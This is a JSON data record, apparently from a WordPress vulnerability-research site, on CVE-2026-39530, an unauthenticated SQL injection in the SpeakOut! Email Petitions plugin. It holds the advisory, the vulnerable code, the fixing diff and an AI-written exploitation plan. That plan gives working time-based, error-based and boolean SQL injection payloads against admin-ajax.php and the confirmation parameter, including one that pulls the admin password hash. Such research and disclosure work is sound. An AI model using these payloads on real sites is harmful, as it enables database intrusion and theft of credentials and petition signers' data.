[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$frewbWQH7Twvv56Ky-4s2UtWhWtj9R1-kWvGPkR6ULJo":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-39530","speakout-email-petitions-unauthenticated-sql-injection-2","SpeakOut! Email Petitions \u003C= 4.6.5 - Unauthenticated SQL Injection","The SpeakOut! Email Petitions plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 4.6.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","speakout",null,"\u003C=4.6.5","4.6.5.1","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-04-13 00:00:00","2026-04-21 14:50:43",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fd16c13bf-7cab-4870-898e-971b5c4d7b7b?source=api-prod",9,[22,23,24,25],"includes\u002Fclass.signature.php","includes\u002Fconfirmations.php","readme.txt","speakout-email-petitions.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-39530\n\n## 1. Vulnerability Summary\nThe **SpeakOut! Email Petitions** plugin for WordPress (\u003C= 4.6.5) contains an unauthenticated SQL injection vulnerability. The flaw exists in the `dk_speakout_Signature` class, specifically within the `all()` and `search()` methods. User-controlled parameters (such as `petition_id` and `searchString`) are directly concatenated into SQL queries without proper sanitization or the use of `$wpdb->prepare()`. Since these methods are utilized by unauthenticated AJAX handlers to display and filter signature lists on the frontend, an attacker can inject malicious SQL fragments to extract sensitive data.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Action**: `dk_speakout_paginate` (inferred from plugin functionality and historical SpeakOut! vulnerabilities).\n- **Vulnerable Parameters**: \n    - `petition_id` (used in `dk_speakout_Signature::all`)\n    - `search_term` (passed as `$searchString` to `dk_speakout_Signature::search`)\n- **Authentication**: Unauthenticated (`wp_ajax_nopriv` hook).\n- **Preconditions**: At least one petition must exist in the database (usually ID 1).\n\n## 3. Code Flow\n1.  **Entry Point**: An unauthenticated user sends a POST request to `admin-ajax.php` with the action `dk_speakout_paginate`.\n2.  **AJAX Handler**: The handler in `includes\u002Fajax.php` (registered via `wp_ajax_nopriv_dk_speakout_paginate`) retrieves user input from `$_POST['petition_id']` and `$_POST['search_term']`.\n3.  **Vulnerable Sink 1 (`all`)**: If no search term is provided, the handler calls `dk_speakout_Signature::all( $petition_id, ... )`. \n    - In `includes\u002Fclass.signature.php`, line 59: `$sql_petition_filter = \"AND $db_signatures.petitions_id = '$petition_id'\";`\n    - The `$petition_id` string is interpolated directly into the `$sql` query (line 94).\n4.  **Vulnerable Sink 2 (`search`)**: If a search term is provided, the handler calls `dk_speakout_Signature::search( $petition_id, $searchString, ... )`.\n    - In `includes\u002Fclass.signature.php`, line 155: `$db_signatures.email LIKE '%\" . $searchString . \"%'`\n    - The `$searchString` is interpolated into multiple `LIKE` clauses within the `$sql` query (line 154).\n\n## 4. Nonce Acquisition Strategy\nWhile many public-facing AJAX search features in SpeakOut! have historically lacked nonces, version 4.6.x may require one.\n1.  **Identify Shortcode**: The plugin uses `[signaturelist id=\"1\"]` to display signatures.\n2.  **Create Test Page**: \n    `wp post create --post_type=page --post_title=\"Signatures\" --post_status=publish --post_content='[signaturelist id=\"1\"]'`\n3.  **Extract Nonce**:\n    - Use `browser_navigate` to the created page.\n    - Use `browser_eval` to extract the nonce from the localized script object. \n    - **JS Object**: `window.dk_speakout_js` (inferred).\n    - **Key**: `window.dk_speakout_js?.nonce`.\n\n## 5. Exploitation Strategy\nWe will use a time-based blind SQL injection against the `petition_id` parameter, as it is easier to break out of the single-quote encapsulation.\n\n### Step 1: Verification (Time-Based)\nSend an AJAX request designed to sleep for 5 seconds if the injection is successful.\n\n**HTTP Request:**\n- **Method**: POST\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body**: \n  ```\n  action=dk_speakout_paginate&petition_id=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -\n  ```\n- **Expected Response**: The response should take ~5 seconds to return.\n\n### Step 2: Data Extraction (Boolean-Based\u002FError-Based)\nIf `WP_DEBUG` is on, we can use error-based injection for faster extraction. Otherwise, we can use the `search_term` parameter to influence the number of results returned (Boolean-based).\n\n**Payload for `petition_id` (Error-Based):**\n```\npetition_id=1' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)-- -\n```\n\n**Payload for `search_term` (Boolean-Based breakout):**\n```\nsearch_term=x%' AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin') AND '%'='\n```\n\n## 6. Test Data Setup\n1.  **Create Petition**: Ensure at least one petition exists.\n    `wp eval \"dk_speakout_Petition::create(['title' => 'Vulnerable Petition']);\"` (or use `wp db query` to insert into `wp_dk_speakout_petitions`).\n2.  **Add Signature**: Add a dummy signature to ensure the query returns results under normal conditions.\n    `wp db query \"INSERT INTO wp_dk_speakout_signatures (petitions_id, first_name, last_name, email, is_confirmed) VALUES (1, 'Test', 'User', 'test@example.com', 1);\"`\n3.  **Publish Page**: \n    `wp post create --post_type=page --post_status=publish --post_content='[signaturelist id=\"1\"]'`\n\n## 7. Expected Results\n- A successful time-based exploit will result in a significant delay in the HTTP response matching the `SLEEP()` value.\n- A successful error-based exploit will return a database error message containing the requested data (e.g., the admin password hash).\n- A successful boolean exploit will return signature results when the condition is true and zero results when false.\n\n## 8. Verification Steps\nAfter performing the HTTP requests, verify the plugin's vulnerability status:\n1.  **Check Database Logs**: If query logging is enabled, verify the injected query was executed.\n2.  **Confirm Plugin Version**: Use WP-CLI to confirm the version is \u003C= 4.6.5.\n    `wp plugin get speakout --field=version`\n\n## 9. Alternative Approaches\nIf `dk_speakout_paginate` is not the correct action:\n1.  Check `includes\u002Fconfirmations.php` and use the `dkspeakoutconfirm` parameter in a GET request to the site root:\n    `\u002F?dkspeakoutconfirm=1' AND SLEEP(5)-- -`\n    This targets the `dk_speakout_Signature::confirm()` method, which is also unauthenticated and likely vulnerable if the code inside follows the same pattern as `all()` and `search()`.","The SpeakOut! Email Petitions plugin for WordPress is vulnerable to unauthenticated SQL Injection via multiple parameters including petition_id, search_term, and dkspeakoutconfirm. This occurs because the plugin concatenates user-supplied input directly into SQL queries without using $wpdb->prepare() or adequate sanitization, allowing attackers to extract sensitive data from the database.","\u002F\u002F includes\u002Fclass.signature.php lines 58-61\n\u002F\u002F Method: all()\nif ( $petition_id ) {\n\t$sql_petition_filter = \"AND $db_signatures.petitions_id = '$petition_id'\";\n}\n\n---\n\n\u002F\u002F includes\u002Fclass.signature.php lines 151-170\n\u002F\u002F Method: search()\n$sql = \"\n\tSELECT $db_signatures.*, $db_petitions.title, $db_petitions.custom_field_label, $db_petitions.displays_custom_field\n\tFROM `$db_signatures`, `$db_petitions`\n\tWHERE $db_signatures.petitions_id = $db_petitions.id\n\tAND ($db_signatures.email LIKE '%\" . $searchString . \"%' \n\tOR $db_signatures.honorific LIKE '%\" . $searchString . \"%' \n\tOR $db_signatures.first_name LIKE '%\" . $searchString . \"%' \n\tOR $db_signatures.street_address LIKE '%\" . $searchString . \"%' \n\tOR $db_signatures.city LIKE '%\" . $searchString . \"%'  \n\tOR $db_signatures.state LIKE '%\" . $searchString . \"%' \n\tOR $db_signatures.country LIKE '%\" . $searchString . \"%' \n\tOR $db_signatures.custom_field LIKE '%\" . $searchString . \"%' \n\tOR $db_signatures.custom_field2 LIKE '%\" . $searchString . \"%' \n\tOR $db_signatures.custom_field3 LIKE '%\" . $searchString . \"%'\n\tOR $db_signatures.custom_field4 LIKE '%\" . $searchString . \"%' \n\tOR $db_signatures.custom_field5 LIKE '%\" . $searchString . \"%' \n\tOR $db_signatures.postcode LIKE '%\" . $searchString . \"%')\n\t$sql_petition_filter\n\t$sql_context_filter\n\tORDER BY $db_signatures.id DESC $sql_limit\n\";\n\n---\n\n\u002F\u002F includes\u002Fclass.signature.php lines 187-191\n\u002F\u002F Method: check_confirmation()\n$sql = \"\n\tSELECT id\n\tFROM $db_signatures\n\tWHERE `confirmation_code` = '$confirmation_code' AND `is_confirmed` = 1\n\";","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fspeakout\u002F4.6.5\u002Fincludes\u002Fclass.signature.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fspeakout\u002F4.6.5.1\u002Fincludes\u002Fclass.signature.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fspeakout\u002F4.6.5\u002Fincludes\u002Fclass.signature.php\t2025-12-17 14:24:28.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fspeakout\u002F4.6.5.1\u002Fincludes\u002Fclass.signature.php\t2026-03-04 20:12:20.000000000 +0000\n@@ -184,19 +184,16 @@\n \t{\n \t\tglobal $wpdb, $db_signatures;\n \n-\t\t$sql = \"\n-\t\t\tSELECT id\n-\t\t\tFROM $db_signatures\n-\t\t\tWHERE `confirmation_code` = '$confirmation_code' AND `is_confirmed` = 1\n-\t\t\";\n-\t\t$query_results = $wpdb->get_row( $sql );\n-\n-\t\tif ( $wpdb->num_rows > 0 ) {\n-\t\t\treturn true;\n-\t\t}\n-\t\telse {\n+\t\t$conf_code = sanitize_key($confirmation_code);\n+\t\tif (empty($conf_code)){\n \t\t\treturn false;\n \t\t}\n+\t\t$wpdb->get_row(\n+\t\t\t$wpdb->prepare(\n+\t\t\t\t\"SELECT id FROM $db_signatures WHERE `confirmation_code` = %s AND `is_confirmed` = 1\", $conf_code)\n+\t\t);\n+\n+\t\treturn ($wpdb->num_rows > 0);\n \t}\n \n \t\u002F**\n@@ -210,16 +207,15 @@\n \t\tglobal $wpdb, $db_signatures;\n \n \t\t$data  = array( 'is_confirmed' => 1 );\n-\t\t$where = array( 'confirmation_code' => $confirmation_code );\n+\t\t$conf_code = sanitize_key($confirmation_code);\n+\t\tif (empty($conf_code)){\n+\t\t\treturn false;\n+\t\t}\n+\t\t$where = array( 'confirmation_code' => $conf_code );\n \n \t\t$rows_affected = $wpdb->update( $db_signatures, $data, $where );\n+\t\treturn ($rows_affected > 0);\n \n-\t\tif ( $rows_affected > 0 ) {\n-\t\t\treturn true;\n-\t\t}\n-\t\telse {\n-\t\t\treturn false;\n-\t\t}\n \t}\n \n \t\u002F**\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fspeakout\u002F4.6.5\u002Fincludes\u002Fconfirmations.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fspeakout\u002F4.6.5.1\u002Fincludes\u002Fconfirmations.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fspeakout\u002F4.6.5\u002Fincludes\u002Fconfirmations.php\t2025-11-11 16:43:40.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fspeakout\u002F4.6.5.1\u002Fincludes\u002Fconfirmations.php\t2026-03-04 20:12:20.000000000 +0000\n@@ -9,6 +9,12 @@\n \tadd_action( 'template_redirect', 'dk_speakout_confirm_email' );\n }\n \n+function _fail_early() {\n+    $message = __( 'The confirmation code you provided is invalid.', 'speakout' );\n+    echo $message;\n+    die;\n+}\n+\n \u002F**\n  * Displays the confirmation page\n  *\u002F\n@@ -27,11 +33,16 @@\n \t$options = get_option( 'dk_speakout_options' );\n \t$wpml          = new dk_speakout_WPML();\n \n-\t\u002F\u002F get the confirmation code from url\n-\t$confirmation_code = sanitize_text_field( wp_unslash( $_REQUEST['dkspeakoutconfirm'] ) );\n-\n-\t\u002F\u002F try to confirm the signature\n-\t$try_confirm = $the_signature->confirm( $confirmation_code );\n+    \u002F\u002F get the confirmation code from url\n+    $confirmation_code = isset($_REQUEST['dkspeakoutconfirm'])\n+        ? sanitize_key(wp_unslash($_REQUEST['dkspeakoutconfirm'])) : '';\n+    if (empty( $confirmation_code )) {\n+        _fail_early();\n+    }\n+    $try_confirm = $the_signature->confirm( $confirmation_code );\n+    if (!( $try_confirm )) {\n+        _fail_early();\n+    }\n \n \t\u002F\u002F retrieve the petition data\n     $the_petition->retrieve( $the_signature->petitions_id );\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fspeakout\u002F4.6.5\u002Freadme.txt \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fspeakout\u002F4.6.5.1\u002Freadme.txt\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fspeakout\u002F4.6.5\u002Freadme.txt\t2025-12-17 14:24:28.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fspeakout\u002F4.6.5.1\u002Freadme.txt\t2026-03-04 20:12:20.000000000 +0000\n@@ -4,7 +4,7 @@\n Requires at least: 5.0\n Tested up to: 6.8.3\n Requires PHP: 7.4\n-Stable tag: 4.6.5\n+Stable tag: 4.6.5.1\n License: GPLv2 or later \n License URI: http:\u002F\u002Fwww.gnu.org\u002Flicenses\u002Fgpl-2.0.html\n \n@@ -21,6 +21,9 @@\n The free version includes the core features needed to run a successful petition. For those who need more, the **Pro version** unlocks the ability to run unlimited campaigns and provides additional tools, such as an email sharing option and expanded integration with third-party mailing services.\n \n More information about the plugin and how to upgrade to the fully featured Pro version can be found at the official [SpeakOut! WordPress petition plugin website](https:\u002F\u002Fspeakoutpetitions.com).\n+== Upgrade Notice ==\n+== 4.6.5.1 ==\n+This is a critical security patch. Please update immediately to protect your user data.\n \n == Changelog ==\n == 4.6.5 ==\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fspeakout\u002F4.6.5\u002Fspeakout-email-petitions.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fspeakout\u002F4.6.5.1\u002Fspeakout-email-petitions.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fspeakout\u002F4.6.5\u002Fspeakout-email-petitions.php\t2025-12-17 14:24:28.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fspeakout\u002F4.6.5.1\u002Fspeakout-email-petitions.php\t2026-03-04 20:12:20.000000000 +0000\n@@ -15,7 +15,7 @@\n License: GPL v2 or later\n License URI: https:\u002F\u002Fwww.gnu.org\u002Flicenses\u002Fgpl-2.0.html\n \n-Version: 4.6.5\n+Version: 4.6.5.1\n \n {Plugin Name} is free software: you can redistribute it and\u002For modify\n it under the terms of the GNU General Public License as published by\n@@ -31,7 +31,7 @@\n *\u002F\n \n global $wpdb, $db_petitions, $db_signatures, $dk_speakout_version;\n-$dk_speakout_version = '4.6.5';\n+$dk_speakout_version = '4.6.5.1';\n $db_petitions  = $wpdb->prefix . 'dk_speakout_petitions';\n $db_signatures = $wpdb->prefix . 'dk_speakout_signatures';","The vulnerability can be exploited by unauthenticated attackers through multiple vectors. One primary vector uses the 'dk_speakout_paginate' AJAX action via \u002Fwp-admin\u002Fadmin-ajax.php, where the 'petition_id' or 'search_term' parameters are vulnerable to SQL concatenation. A second vector targets the 'dkspeakoutconfirm' parameter via a GET request to the site root, which triggers vulnerable raw SQL queries in the 'confirm' and 'check_confirmation' methods. Attackers can provide malicious SQL fragments (e.g., using SLEEP() for time-based or UPDATEXML() for error-based injection) to bypass encapsulation and execute arbitrary database queries.","gemini-3-flash-preview","2026-04-27 14:55:56","2026-04-27 14:56:42",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","4.6.5","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fspeakout\u002Ftags\u002F4.6.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fspeakout.4.6.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fspeakout\u002Ftags\u002F4.6.5.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fspeakout.4.6.5.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fspeakout\u002Ftags"]